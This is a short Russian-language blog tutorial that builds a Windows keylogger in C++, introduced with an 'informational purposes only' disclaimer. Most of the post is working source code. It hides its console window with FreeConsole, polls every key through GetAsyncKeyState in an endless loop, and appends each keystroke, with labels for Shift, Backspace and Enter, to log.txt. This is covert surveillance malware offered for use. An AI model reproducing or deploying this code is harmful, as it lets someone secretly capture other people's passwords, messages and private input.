May 20, 2020
Кейлогер на С++
Вся представленная информация несёт лишь ознакомительный характер и не призывает Вас к действиям нарушающим закон!
Кейлогер/кейлоггер- программное обеспечение или аппаратное устройство, регистрирующее различные действия пользователя- нажатия клавиш на клавиатуре компьютера, движения и нажатия клавиш мыши и т. д.
Сегодня разбираем написание простого KeyLogger`а под Windows на С++.
Инклудим библиотеки и включаем пространство имен std:
#include <iostream> #include <Windows.h> using namespace std;
Пишем протип функции для сохранения нажатых клавиш в файл:
int save(int _key, char *file);
Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:
int main() { FreeConsole(); char i; while (true) { Sleep(10); for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { save(i, "log.txt"); } } } return 0; }
Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:
int save(int _key, char *file) { cout << _key << endl; Sleep(10); FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); if (_key == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (_key == VK_BACK) fprintf(OUTPUT_FILE, "%s", "[BACK]"); else if (_key == VK_LBUTTON) fprintf(OUTPUT_FILE, "%s", "[LBUTTON]"); else if (_key == VK_RETURN) fprintf(OUTPUT_FILE, "%s", "[RETURN]\n"); else if (_key == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0; }
Готово)